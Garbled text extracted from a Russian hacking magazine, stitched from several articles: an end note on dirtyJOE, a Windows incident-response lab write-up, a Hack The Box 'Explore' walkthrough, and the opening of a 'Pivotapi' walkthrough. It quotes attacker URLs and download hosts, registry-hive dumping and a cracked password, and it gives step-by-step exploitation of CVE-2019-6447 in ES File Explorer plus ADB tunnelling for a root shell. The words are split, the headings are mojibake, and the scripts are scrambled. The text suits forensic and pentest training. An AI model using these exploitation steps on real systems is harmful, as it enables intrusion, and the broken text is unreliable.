Как видишь, нес мотря на сырость и заб рошен ность про екта (пос ледняя вер- 
сия 1.7 (c529) была опуб ликова на на офи циаль ном сай те аж в кон- 
це 2014 года), dirtyJOE пред став ляет собой весь ма полез ный инс тру мент,
незаме нимый для пат ча обфусци рован ных про ектов и при ложе ний, нак рытых
про тек торами. Помимо опи сан ных выше, у него мас са дру гих полез ных фич:
с его помощью мож но редак тировать и добав лять новые кон стан ты и поля
(мож но добав лять даже новые методы, прав да пус тые). Для рас шифров ки
крип тован ных строк есть воз можность под клю чить поль зователь ские скрип ты
на питоне, сама прог рамма име ет 32- и 64-бит ные вер сии и даже сущес тву ет
в виде пла гина к Total Commander. Наде юсь, что зна комс тво с дан ной ути- 
литой поможет тебе осва ивать реверс и пат чинг JVM-при ложе ний.

https://xakep.ru/2021/03/04/dotnet-reversing/
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ВЗЛОМ

Спе циалис ты по ата кующей безопас ности отта чива ют
навыки на ,  и , а спе циаль но
для защит ников сущес тву ет плат форма .
В этой статье я покажу ход рас сле дова ния киберин циден та
на при мере лабора тор ной работы с это го ресур са —

.

Hack The Box Root Me VulnHub
CyberDefenders

CyberCorp Case 1

Мы научим ся получать необ ходимые дан ные из основных арте фак тов опе- 
раци онной сис темы Windows. Наша задача — понять, как зло умыш ленник
ском про мети ровал компь ютер в сети орга низа ции, как зак репил ся в сис теме,
какие вре донос ные фай лы исполь зовал и к каким объ ектам локаль ной сети
получил дос туп.

По сце нарию кей са в исхо дящем тра фике инфраструк туры ком пании
CyberCorp выяв лен ряд ано малий, что сви детель ству ет о ее ком про мета ции.
Спе циалис ты по реаги рова нию на компь ютер ный инци дент изо лиро вали
один из потен циаль но ском про мети рован ных хос тов от кор поратив ной сети
и соб рали основные арте фак ты Windows. Фай лы арте фак тов находят ся
в архи ве, который необ ходимо .заг рузить

По резуль татам решения кей са нас поп росят отве тить на ряд воп росов. Я
покажу лишь ход решения и не буду под све чивать отве ты. Ради тре ниров ки
можешь пов торить весь про цесс самос тоятель но и отве тить — для зак репле- 
ния матери ала.

ÏÎËÓ×ÅÍÍÛÅ ÀÐÒÅÔÀÊÒÛ WINDOWS

1.  — файл реес тра, содер жащий информа цию о запус каемых
при ложе ниях. Начиная с Windows 8 и Windows Server 2012 путь к фай лу
реес тра  хра нит ся в 

.

Amcache.hve

Amcache \%SystemRoot%\AppCompat\Programs\
Amcache.hve

2.  — информа ция из клю ча 

 кус та реес тра  (
). В дан ном клю че хра нит ся арте факт  —

это механизм, который обес печива ет обратную сов мести мость ста рых
при ложе ний с более новыми вер сиями Windows. В нем содер жится сле- 
дующая информа ция: путь к исполня емо му фай лу, раз мер фай ла, вре мя
пос ледне го изме нения.

AppCompatCache.reg HKLM\SYSTEM\
CurrentControlSet\Control\Session Manager\AppCompatCache\
AppCompatCache SYSTEM C:\Windows\System32\
configSystem Shimcache

3. Фай лы реес тра: , , , , . Рас- 
положе ны эти фай лы в катало ге .

default SAM SECURITY software system
C:\Windows\System32\config

4.  — файл обра за опе ратив ной памяти.Memdump
5.  — фай лы логов опе раци онной сис темы. Они находят ся в катало ге

.
Logs
C:\Windows\System32\winevt\Logs

6. User Registry Hives — файл  содер жит информа цию, свя зан- 
ную с дей стви ем поль зовате ля. Фай лы  хра нят ся в катало ге

.

NTUSER.DAT
NTUSER.DAT

%userprofile%
7. Windows Prefetch — фай лы, пред назна чен ные для уско рения запус ка при- 

ложе ний. Фай лы Prefetch содер жат имя исполня емо го фай ла, спи сок
динами чес ких биб лиотек, исполь зуемых исполня емым фай лом, количес- 
тво запус ков исполня емо го фай ла и мет ку вре мени, ука зыва ющую, ког да
прог рамма была запуще на в пос ледний раз. Дан ные фай лы хра нят ся
в катало ге .C:\Windows\Prefetch

8. MFT (глав ная таб лица фай лов) — сис темный файл, содер жащий метадан- 
ные объ екта фай ловой сис темы. Этот файл рас положен в кор не каж дого
раз дела NTFS, выг рузить его мож но с помощью .FTK Imager

9.  — файл, содер жащий пос тоян ные клас сы WMI (Windows
Management Instrumentation). Он рас положен в 

.

OBJECTS.DATA
%SystemRoot%\

System32\wbem\Repository
10. Се тевой тра фик, получен ный в резуль тате монито рин га инфраструк туры

ком пании.

ÝÒÀÏÛ ÐÀÑÑËÅÄÎÂÀÍÈß

1. По иск точ ки вхо да в сис тему. На дан ном эта пе выяс ним, как зло умыш- 
ленник ском про мети ровал сис тему и какие исполь зовал вре донос ные
фай лы.

2. По иск спо соба зак репле ния. Выяс ним, как зло умыш ленни ки обес печили
себе пос тоян ный дос туп к сис теме.

3. По иск методов боково го переме щения по сети. На этом эта пе выявим
дей ствия зло умыш ленни ка пос ле получе ния дос тупа к ском про мети рован- 
ному компь юте ру.

ÈÑÏÎËÜÇÓÅÌÛÅ ÓÒÈËÈÒÛ

1. Ути литы : , ,

, .

Эри ка Цим мерма на AmcacheParser Registry Explorer

AppCompatCacheParser MFTECmd

2. Ути литы : , .NirSoft fulleventlogview winprefetchview

3. .UserAssist

4.  — инс тру мент для ана лиза сетевых про токо лов.Wireshark

5.  — инс тру мент для извле чения и ана лиза исходно го кода мак росов
VBA из докумен тов MS Office (OLE и OpenXML).
Olevba

6.  — инс тру мент для извле чения дан ных из обра за опе ратив ной

памяти.

Volatility 3

Пе ред тем как начать изу чать арте фак ты ском про мети рован ного компь юте ра,
получим информа цию о вер сии опе раци онной сис темы, дату уста нов ки, имя
поль зовате ля. Для это го заг рузим куст реес тра  в ути литу 

 и перей дем к клю чу 

.

software Registry

Explorer SOFTWARE\Microsoft\Windows NT\
CurrentVersion

Ин форма ция об иссле дуемом компь юте ре

На иссле дуемом компь юте ре уста нов лена опе раци онная сис тема Windows 10
Enterprise Evaluation, дата уста нов ки — 17 июня 2020 года в 7:13:49 (параметр

), вер сия сбор ки — 17134, вла делец — .InstallDate John Goldberg

Продолжение статьи →

mailto:grigadan454@gmail.com
https://www.hackthebox.eu/home
https://www.root-me.org/
https://www.vulnhub.com/
https://cyberdefenders.org/labs/
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https://www.nirsoft.net/
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https://github.com/decalage2/oletools
https://github.com/volatilityfoundation/volatility3
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ÏÎÈÑÊ ÒÎ×ÊÈ ÂÕÎÄÀ

На дан ном эта пе иссле дуем образ опе ратив ной памяти, сетевой тра фик
и глав ную таб лицу раз делов.

Àíàëèç îáðàçà îïåðàòèâíîé ïàìÿòè

Най дем активные сетевые соеди нения и вре донос ный про цесс. Для это го
вос поль зуем ся ути литой .Volatility 3

Вы явим все сетевые соеди нения с сос тоянием  и про верим

все IP-адре са на .

ESTABLISHED
VirusTotal

python3 vol.py -f memdump.mem windows.netscan.NetScan 

Вре донос ное сетевое соеди нение

Про цесс  (PID про цес са — 4224) уста новил сетевое соеди- 

нение с управля ющим сер вером по адре су . 

с резуль татом про вер ки выб ранно го адре са на VirusTotal.

rundll32.exe
196.6.112.70 Оз накомим ся

По лучим дерево про цес сов и най дем про цесс с иден тифика тором 4224.

python3 vol.py -f memdump.mem windows.pstree.PsTree 

Ин форма ция о вре донос ном про цес се

Ро дитель ский иден тифика тор вре донос ного про цес са  — 7320,

но про цес са с таким иден тифика тором не обна руже но.

rundll32.exe

Вос поль зуем ся пла гином  ути литы Volatility 3 и най дем код, внед- 

ренный в адресное прос транс тво про цес сов опе раци онной сис темы.

malfind

python3 vol.py -f memdump.mem windows.malfind.Malfind 

Ре зуль тат работы пла гина malnd

Из рисун ка выше вид но, что вре донос ный код внед рен в адресное прос- 
транс тво про цес са winlogon.exe (PID 3232).

От лично! Мы обна ружи ли управля ющий центр и вре донос ный про цесс.

Àíàëèç ñåòåâîãî òðàôèêà

Про ана лизи руем сетевой тра фик при помощи  и най дем инте рес- 

ные арте фак ты. В пер вом дам пе тра фика обна руже на поч товая сес сия
по про токо лу SMTP. Поп робу ем получить сооб щения eml. Для это го перехо- 
дим на вклад ку «Файл → Экспор тировать объ екты → IMF». Сох раним все сооб- 
щения для иссле дова ния.

Wireshark

Спи сок сооб щений, обна ружен ных в сетевом тра фике

В сооб щении от  содер жится запаро лен ный архив

. Иссле дуем фай лы из него.

richard.gorn@gmail.com
attach.zip

Со дер жимое сооб щения

Как видишь, пароль от архи ва нашел ся в пись ме.

Àíàëèç âðåäîíîñíûõ ôàéëîâ

В архи ве лежит документ 

 (MD5: ). Меня ем рас- 

ширение на  и смот рим его содер жимое. Вре донос ных мак росов здесь

нет, но в фай ле  обна ружи лась ссыл ка
на заг рузку шаб лона . Такой век тор ата ки называ ется

Remote Template Injection и под робно опи сан в .

Why Saudi Arabia Will Lose The Next Oil 
Price War.docx aa7ee7f712780aebe9136cabc24bf875

.zip
./word/_rels/settings.xml.rels

Supplement.dotm
бло ге Сун гва на Цоя

Ос новной прин цип ата ки зак люча ется в сле дующем. Зло умыш ленни ки
залили на свой сер вер файл шаб лона докумен та Word (.dotm) и внед рили
в код докумен та  ссыл ку на заг рузку вре донос- 

ного шаб лона. Если документ открыть, заг рузит ся шаб лон, содер жащий мак- 
рос.

Why Saudi Arabia... .docx

Ад рес для заг рузки вре донос ного докумен та .dotm

Поп робу ем получить этот документ из обра за опе ратив ной памяти. Для это го
вос поль зуем ся пла гином  ути литы Volatility 3.FileScan

dotm python3 vol.py -f memdump.mem windows.filescan.FileScan | grep 

До кумен ты с рас ширени ем dotm, выяв ленные в обра зе опе ратив ной
памяти

Выг рузим документ, рас положен ный по адре су . Для это го

вос поль зуем ся пла гином  ути литы Volatility 3.

0xcd8401aea3f0
dumpfiles

python3 vol.py -f memdump.mem windows.dumpfiles.DumpFiles --virtaddr 
0xcd8401aea3f0 

Ре зуль таты работы пла гина dumples

Мы получи ли вре донос ный шаб лон Microsoft Office c длин ным наз вани ем
и рас ширени ем . Про ана лизи руем шаб лон c помощью ути литы

. Пере име нуем его в .

.dotm.dat
olevba dotm_malicious

olevba dotm_malicious 

В резуль тате работы  мы получи ли скрипт на VBA, содер жащий ся

в шаб лоне докумен та. Иссле дуем код скрип та.

olevba

Учас ток вре донос ного кода

Вре донос ный скрипт заг ружа ет полез ную наг рузку  и сох раня ет

ее в сле дующем клю че реес тра:

master_page

HKEY_USERS\S-1-5-21-3899523589-2416674273-2941457644-1104\Software\
RegisteredApplications\AppXs42fd12c3po92dynnq2r142fs12qhvsmyy 

Да лее он заг ружа ет PowerShell-скрипт  и сох раня ет в каталогwrapper_page

C:\Users\john.golberg\AppData\Roaming\\Microsoft\Office\Recent\
tmpA7Z2.ps1 

Сле дующим эта пом про исхо дит зак репле ние в сис теме с исполь зовани ем
, но об этом мы погово рим чуть поз же.WMI

Выг рузим скрипт на PowerShell, что бы изу чить его .со дер жимое

Учас ток вре донос ного скрип та tmp7AZ2.ps1

Скрипт берет полез ную наг рузку из клю ча реес тра (перемен ная ), декоди- 
рует ее из Base64, а далее выпол няет ся 

. Вре донос ная наг рузка заг ружа ется в память соз данно го про цес са

и миг риру ет в про цесс .

$rk
спу финг родитель ско го про цес са

dwm.exe
winlogon.exe

Выг рузим вре донос ную наг рузку. Заг рузим куст  поль зовате ля

 в ути литу Reg Explorer. Перей дем в 

 и най дем ключ

.

NTUSER.DAT
john.goldberg Software\
RegisteredApplications
AppXs42fd12c3po92dynnq2r142fs12qhvsmyy

Вре донос ная наг рузка

Де коди руем полез ную наг рузку, получим MD5-сум му и 
на VirusTotal.

про верим ее

Àíàëèç MFT

Раз берем, в какое вре мя поль зователь открыл вре донос ный документ 
 в сис теме, что бы понимать, ког да про изо шел инци- 

дент. Для это го про ана лизи руем файл MFT. Вос поль зуем ся инс тру мен том
 и выг рузим информа цию об объ ектах фай ловой сис темы в файл

CSV.

Why 
Saudi Arabia... .docx

MFTECmd.exe

MFTECmd.exe -f $MFT.copy0 --csv .\RESULT\MFT

Мы получи ли файл, содер жащий пути ко всем фай лам фай ловой сис темы,
а так же мет ки вре мени. Через поиск най дем информа цию о докумен те 

. Все мет ки вре- 
мени в таб лице MFT в UTC, но мос ков ское вре мя — UTC+3.

Why 
Saudi Arabia Will Lose The Next Oil Price War.docx

Ин форма ция о запус ке вре донос ного докумен та по UTC

INFO

В таб лице MFT пред став лены две мет ки вре мени
соз дания фай ла: 
и . Зло умыш ленник исполь зует ути- 
литы антикри мина лис тики, которые изме няют
мет ку вре мени , поэто му необ- 
ходимо смот реть на мет ку вре мени .
Под робнос ти опи саны в .

STANDARD_INFO
FILE_INFO

STANDARD_INFO
FILE_INFO

бло ге Cyb3rSn0rlax

Итак, по резуль татам пер вого эта па мы обна ружи ли, что поль зователь 
 получил по элек трон ной поч те сооб щение, содер жащее вре донос- 

ное вло жение. 20.06.2020 в 22:27:31 (по мос ков ско му вре мени) поль зователь
открыл документ , который заг рузил шаб лон c

, содер жащий мак рос. Вре донос ный

мак рос заг рузил полез ную наг рузку и PowerShell-скрипт.

john.
goldberg

Why Saudi Arabia... .docx
http://75.19.45.11/Suplement.dotm

ÇÀÊÐÅÏËÅÍÈÅ Â ÑÊÎÌÏÐÎÌÅÒÈÐÎÂÀÍÍÎÉ ÑÈÑÒÅÌÅ

На этом эта пе про ана лизи руем файл , но сна чала нем ного
погово рим о сох ранении пос тоянс тва в сис теме с помощью WMI.

OBJECTS.DATA

WMI (Windows Management Instrumentation) — набор инс тру мен тов, пред- 
назна чен ных для управле ния сис темами Windows как локаль но, так и уда лен- 
но. Одна из тех ник зак репле ния в сис теме через WMI — это WMI Subscriptions
(под писки WMI). Эта тех ника запус кает дей ствие при воз никно вении события.
Дей ствия и события могут быть опре деле ны поль зовате лем. В опре деле ниях
WMI дей ствия называ ются пот ребите лями (Consumers), а события — филь- 
тра ми (Filters). Сущес тву ет так же тре тий ком понент, который свя зыва ет их
вмес те, — при вяз ка ( ).__FilterToConsumerBinding

Зна чит, наша задача — обна ружить в фай ле  связ ку дей- 
ствия и события ( ). Мож но открыть иссле- 

дуемый файл с помощью hex-редак тора и в поис ке вбить стро ку
, но мы вос поль зуем ся ути литой

.

OBJECTS.DATA
__FilterToConsumerBinding

__FilterToConsumerBinding
PyWMIPersistenceFinder

python PyWMIPersistenceFinder.py OBJECTS.DATA

Ре зуль тат работы ути литы PyWMIPersistenceFinder.py

Мы обна ружи ли наз вание события  и наз вание дей ствия

.

LogRotate Event
Logrotate Consumer

При воз никно вении события авто риза ции поль зовате ля в сис теме запус- 
кает ся дей ствие — запуск вре донос ного скрип та . Вре донос ный

скрипт запус кает ся, ког да поль зователь вво дит логин и пароль от сво ей учет- 
ной записи и начина ет работать в сис теме.

tmpA7Z2.ps1

Продолжение статьи →
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ÁÎÊÎÂÎÅ ÏÅÐÅÌÅÙÅÍÈÅ ÏÎ ÑÅÒÈ

Для ана лиза даль нейших дей ствий зло умыш ленни ка вос поль зуем ся логами
Windows.

Заг рузим каталог  в ути литу . Для это го перей- 
дем на вклад ку File → Choose Data Source и ука жем путь, где хра нят ся фай лы
логов. Перей дем на вклад ку Options → Advanced Options и уста новим, с какого
вре мени показать события опе раци онной сис темы. В качес тве началь ной
точ ки ука жем  — это мет ка вре мени соз дания вре- 

донос ного фай ла .

Logs fulleventlogview.exe

20.06.2020 22:27:31
Why Saudi Arabia... .docx

Об ращение к вре донос ному ресур су для получе ния шаб лона

В 22:27:46 зафик сирова но исхо дящее сетевое соеди нение к вре донос ному
ресур су , выз ванное фай лом winword.exe. Далее выпол няет ся

вре донос ный мак рос, который содер жится в заг ружен ном шаб лоне.

75.19.45.11

Заг рузка ути лит для пос тэкс плу ата ции

В 22:31:08 зло умыш ленник заг рузил с адре са 

 вспо мога тель ные ути литы для боково го переме щения по сети и сох ранил
их в файл .

http://196.6.112.70/disco.
jpg

C:\Windows\TEMP\disco.jpg

Де коди рова ние заг ружен ного фай ла по алго рит му Base64

В 22:31:16 декоди рова ли заг ружен ный файл  по алго рит му

Base64 и сох ранили в файл .

disco.jpg
C:\Windows\TEMP\sh.exe

За пуск исполня емо го фай ла sh.exe

В 22:31:34 запус тили исполня емый файл  (сбор щик дан ных

для BloodHound), резуль тат работы которо го сох ранен в файл .

sh.exe
ddr.zip

Про ана лизи руем таб лицу MFT и пос мотрим, какие еще фай лы были соз- 
даны в катало ге . Для это го откро ем получен ный файл CSV,

содер жащий объ екты фай ловой сис темы, и най дем все фай лы в катало ге
.

C:\Windows\Temp

Windows\Temp

Файл, обна ружен ный в катало ге C:\Windows\Temp

В 22:31:38 соз дан файл с рас ширени ем bin.
Сле дующий этап для зло умыш ленни ка — получе ние логинов и паролей

поль зовате лей.

Спи сок локаль ных адми нис тра торов ском про мети рован ного компь юте ра

В 22:33:10 перечис лили всех локаль ных адми нис тра торов поль зовате лей
ском про мети рован ного компь юте ра.

Сох ранение кус та реес тра sam

Сох ранение кус та реес тра system

В 22:33:18 зло умыш ленник с при мене нием ути литы reg.exe (прог рамма
в Windows для нас трой ки реес тра) выг рузил куст реес тра  и сох- 

ранил его в файл . В  выг рузил куст реес- 

тра  и сох ранил в файл .

hklm\sam
C:\Windows\TEMP\sa.tmp 22:33:24

hklm\system C:\Windows\Temp\sy.tmp
Сле дующим эта пом зло умыш ленник выг ружа ет фай лы  и 

и получа ет из них NTLM-хеши паролей поль зовате лей. Теперь ему дос таточ но
проб рутить получен ные хеши поль зовате лей с име ющим ся в его арсе нале
сло варем. Пароль  — сло вар ный и есть в фай ле .

sa.tmp sy.tmp

!!feb15th2k6!! rockyou.txt

Зап рос на получе ние адре са кон трол лера домена

По луче ние дос тупа к адми нис тра тив ному ресур су кон трол лера домена

В 22:35:38 зло умыш ленник узнал пароль  поль зовате ля
 и под клю чил ся к адми нис тра тив ному ресур су 

 кон трол лера домена, тем самым получив пол ный дос туп

к домену. Ему оста лось лишь заг рузить вре донос ный модуль на ском про- 
мети рован ный кон трол лер домена, что бы зак репить ся на нем.

!!feb15th2k6!!
cybercorp\backupsrv \\192.
168.184.100\C$

ÂÛÂÎÄÛ

Мы с тобой рас сле дова ли киберин цидент и выяви ли такую кар тину. Зло умыш- 
ленник исполь зовал пись мо по элек трон ной поч те с вре донос ным вло жени ем
и ском про мети ровал хост с адре сом . Затем он заг рузил
полез ную наг рузку, которую записал в реестр, и скрипт на PowerShell,
который запус кает ся при вво де авто риза цион ных дан ных в сис теме. Далее
зло умыш ленник заг рузил ути литу для перечис ления дан ных кон трол лера
домена, получил авто риза цион ные дан ные поль зовате ля 

и ском про мети ровал кон трол лер домена.

192.168.100.130

cybercorp\backup

Та ким обра зом, мы вос ста нови ли пол ную кар тину дей ствий, а зна чит,
наша работа как кри мина лис тов закон чена.

https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
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EXPLORE

ПОВЫШАЕМ ПРИВИЛЕГИИ
НА ANDROID ЧЕРЕЗ ADB

RalfHacker
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ВЗЛОМ

В этой статье я покажу, как зах ватить
машину Explore, осно ван ную на Android.
Поможет нам в этом уяз вимость в фай- 
ловом менед жере ES File Explorer, а так же
отла доч ный интерфейс ADB. Машина лег- 
кая, но Android встре чает ся на 
нечас то, и это дела ет задач ку инте рес ной.

Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ. ÑÊÀÍÈÐÎÂÀÍÈÅ ÏÎÐÒÎÂ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.10.247    explore.htb 

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ви дим все го два откры тых пор та: 2222 (служ ба SSH) и пока неиз вес тный
для нас 59777 (на пояс нение Nmap мож но не смот реть, так как он прос то
вывел информа цию из сво ей базы). На SSH нам пока делать нечего, у нас нет
никаких клю чей, учет ных дан ных и вооб ще какой-либо информа ции для сос- 
тавле ния спис ка паролей. Поэто му отпра вим ся в Google и поищем све дения
про порт 59777.

Уз наем, что откры тый порт 59777 содер жат вер сии ES File Explorer
4.1.9.5.2 и более ран ние. ES File Explorer — это пол нофун кци ональ ный менед- 
жер фай лов для Android, и он годит ся как для локаль ного, так и для сетево го
исполь зования.

ÒÎ×ÊÀ ÂÕÎÄÀ. ÏÎÈÑÊ ÝÊÑÏËÎÈÒÎÂ

Мы узна ли, какая исполь зует ся тех нология, а это зна чит, что мож но поис кать
готовые экс пло иты.

Справка: поиск готовых эксплоитов
При пен тесте луч ше все го искать экс пло иты при помощи Google, пос коль ку
этот поис ковик заг лядыва ет и в лич ные бло ги, и в самые раз ные отче ты. Уско- 
рят дело спе циали зиро ван ные базы вро де  — там час то мож но
обна ружить под ходящие вари анты. Если ты работа ешь в спе циали зиро ван- 
ной ОС вро де , то эта база у тебя уже есть и для поис ка мож но
исполь зовать ути литу .

Exploit-DB

Kali Linux
searchsploit

В  находим . Экс плу ати руемая им уяз вимость носит
иден тифика тор . Из ее опи сания узна ем детали: при ложе ние

запус кает на устрой стве скры тый HTTP-сер вер, который поз воля ет получить
дос туп к дан ным дру гих поль зовате лей, под клю чен ных к той же сети в момент
запус ка при ложе ния.

Exploit-DB го товый код
CVE-2019-6447

Ска чива ем и про буем запус тить экс пло ит. Нам сооб щают, что в качес тве
обя затель ных парамет ров нуж но ука зать коман ду и адрес, так же есть опция
для ска чива ния фай лов.

Тес товый запуск экс пло ита

Ес ли прос мотреть код экс пло ита, мы смо жем узнать о сле дующих под держи- 
ваемых коман дах:

 — получить спи сок фай лов в дирек тории;• listFiles
 — спи сок изоб ражений;• listPics

 — спи сок виде офай лов;• listVideos
 — спи сок ауди офай лов;• listAudios

 — спи сок уста нов ленных при ложе ний;• listApps
 — спи сок сис темных при ложе ний;• listAppsSystem

 — спи сок при ложе ний для свя зи;• listAppsPhone
 — спи сок при ложе ний на кар те SD;• listAppsSdcard

 — спи сок всех при ложе ний;• listAppsAll
 — заг рузить файл с устрой ства (для это го, видимо, и нужен тре- 

тий параметр);
• getFile

 — получить информа цию об устрой стве.• getDeviceInfo

Преж де чем ковырять ся в фай ловой сис теме, нуж но узнать, с чем мы работа- 
ем. Давай получим информа цию об устрой стве:

python3 50070.py getDeviceInfo explore.htb 

По луче ние информа ции об устрой стве

Ин форма ции нем ного, но видим кор невую дирек торию ftpRoot — ./sdcard

ÒÎ×ÊÀ ÎÏÎÐÛ. ÌÎÄÅÐÍÈÇÀÖÈß ÝÊÑÏËÎÈÒÀ

По лучить спи сок фай лов в задан ной дирек тории при помощи это го экс пло ита
не вый дет, поэто му мне приш лось его нем ного дорабо тать. Для это го нуж но
прос то добавить к URL каталог, к которо му мы обра щаем ся. Я реали зовал
это в треть ем парамет ре, ниже при веден код, который сле дует добавить
в экс пло ит.

   if cmd == cmds[0]:
      if len(sys.argv) != 4:
       print("[+] Include dir for get list.")
       sys.exit(1)
   else:

         url += sys.argv[3]

Фраг мент ори гиналь ного кода экс пло ита

Фраг мент модер низиро ван ного кода экс пло ита

А теперь в треть ем парамет ре переда дим каталог, содер жимое которо го мы
хотим получить.

python3 50070.py listFiles explore.htb /sdcard 

Со дер жимое катало га sdcard

Со дер жимое катало га sdcard (про дол жение)

На ходим файл , но забирать его пока рано, ведь мы не получи ли
управле ние. Мож но пос мотреть катало ги заг рузок ( ) и докумен тов

( ), так же мно го инте рес ного можем най ти и в кар тинках. Но спер ва

обра тим вни мание на две дирек тории, дата изме нения которых отли чает ся
от осталь ных:  и . В пер вой ничего инте рес ного, а вот в дирек- 

тории камеры есть инте рес ный файл .

user.txt
Download

Documents

dianxinos DCIM
creds

python3 50070.py listFiles explore.htb /sdcard/DCIM 

Со дер жимое катало га DCIM

Эти же фотог рафии мож но было обна ружить с помощью спе циаль ной под- 
держи ваемой коман ды .listPics

python3 50070.py listPics explore.htb 

Все най ден ные изоб ражения

Заг рузим инте ресу ющее нас изоб ражение коман дой .getFile

python3 50070.py getFile explore.htb /sdcard/DCIM/creds.jpg 

Заг рузка фай ла с устрой ства

Прос матри ваем кар тинку и находим логин и пароль.

Заг ружен ная фотог рафия

Что харак терно для такого рода задачек, эта учет ка под ходит к SSH. Таким
обра зом мы получа ем флаг поль зовате ля.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Сом нева юсь, что скрип ты для поис ка путей повыше ния при виле гий вро де
 сра бота ют на Android, поэто му я решил про верять вруч ную. Пер вое,

на что я обра тил вни мание, — это сис тема, но никаких экс пло итов для Android
этой вер сии обна ружить не уда лось.

LinPEAS

 uname -a

Це левая сис тема

Sudo в дан ной сис теме отсутс тву ет, поэто му на при виле гиро ван ные коман ды
без пароля мож но не наде ять ся. А вот откры тые для локаль ного хос та пор ты
пред став ляют такой же инте рес, как и в слу чае с Windows или Linux.

netstat -tulpan

Вы вод netstat

На ходим порт 5555 и сно ва отправ ляем ся в Google, что бы узнать, что за софт
на нем может работать. По пер вой же ссыл ке опре деля ем исполь зуемое
ПО — это ADB.

По иск информа ции о пор те 5555

ADB (Android Debug Bridge) — кли ент-сер верное при ложе ние, которое пре- 
дос тавля ет дос туп к работа юще му эму лято ру или устрой ству. С его помощью
мож но копиро вать фай лы, уста нав ливать ском пилиро ван ные прог рам мные
пакеты и запус кать кон соль ные коман ды. Исполь зуя кон соль, мож но даже
изме нять нас трой ки жур нала и вза имо дей ство вать с базами дан ных SQLite,
которые хра нят ся на устрой стве.

Для работы нам пот ребу ется одно имен ное при ложе ние ADB, уста новить
которое мож но коман дой  пря мо из репози тори ев Kali
Linux. Так как порт открыт для локаль ного хос та, про киды ваем его через SSH:

sudo apt install adb

ssh -p 2222 -L 5555:localhost:5555 kristi@10.10.10.247 

Те перь весь тра фик, который мы пош лем на локаль ный порт 5555, будет тун- 
нелиро ван на порт 5555 уда лен ного устрой ства. Под клю чаем ся.

adb connect 127.0.0.1:5555 

Под клю чение к ADB

Со еди нение успешно уста нов лено, пос мотрим иден тифика торы под клю чен- 
ных устрой ств.

adb devices -l

Под клю чен ные к ADB устрой ства

Из пред став ленно го спис ка нас инте ресу ет устрой ство с иден тифика тором 2.
Получим коман дную обо лоч ку, передав иден тифика тор в парамет ре  и ука- 
зав коман ду .

-t
shell

adb -t 2 shell 

Мы име ем шелл и по коман де  получа ем при виле гиро ван ный кон текст.

Оста ется толь ко най ти файл рута.

su

su 
 find / -name "root.txt" 2>/dev/null 

cat /data/root.txt 

Флаг рута

Файл най ден, и мы получи ли пол ный кон троль над машиной.

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://www.exploit-db.com/
https://www.kali.org/
https://www.exploit-db.com/
https://www.exploit-db.com/exploits/50070
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
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ВЗЛОМ

Се год ня мы раз берем «безум ную» по слож- 
ности машину с . Она называ- 
ется Pivotapi и пос вящена пен тесту Active
Directory. Нам пред сто ит занять ся OSINT,
про вес ти ата ку AS-Rep Roasting, деком- 
пилиро вать при ложе ние на .NET, получить
точ ку опо ры через эксфиль тра цию дан ных
из Microsoft SQL, взло мать базу KeePass,
про экс плу ати ровать LAPS для повыше ния
при виле гий и поюзать BloodHound. Прог- 
рамма очень плот ная, начина ем немед ля!

Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ. ÑÊÀÍÈÐÎÂÀÍÈÅ ÏÎÐÒÎÂ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.10.240    pivotapi.htb 

И ска ниру ем пор ты.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Мы наш ли мно го откры тых пор тов, давай прой дем ся по поряд ку:
21 — служ ба FTP (дос тупен ано ним ный вход);•
22 — служ ба SSH;•
53 — служ ба DNS;•
88 — служ ба авто риза ции Kerberos;•
135 — служ ба уда лен ного вызова про цедур (Microsoft RPC);•
139 — служ ба имен NetBIOS;•
389, 636, 3268, 3269 — служ ба LDAP;•
445 — служ ба SMB;•
464 — служ ба сме ны пароля Kerberos;•
593 — служ ба уда лен ного вызова про цедур (Microsoft RPC над HTTPS);•
1433 — Microsoft SQL Server 2019;•
9383 — служ ба шлю зов управле ния Active Directory.•

В ито ге мы получа ем очень важ ную информа цию. Во-пер вых, мы можем
работать со служ бой FTP без авто риза ции, а во-вто рых, SQL Server дал нам
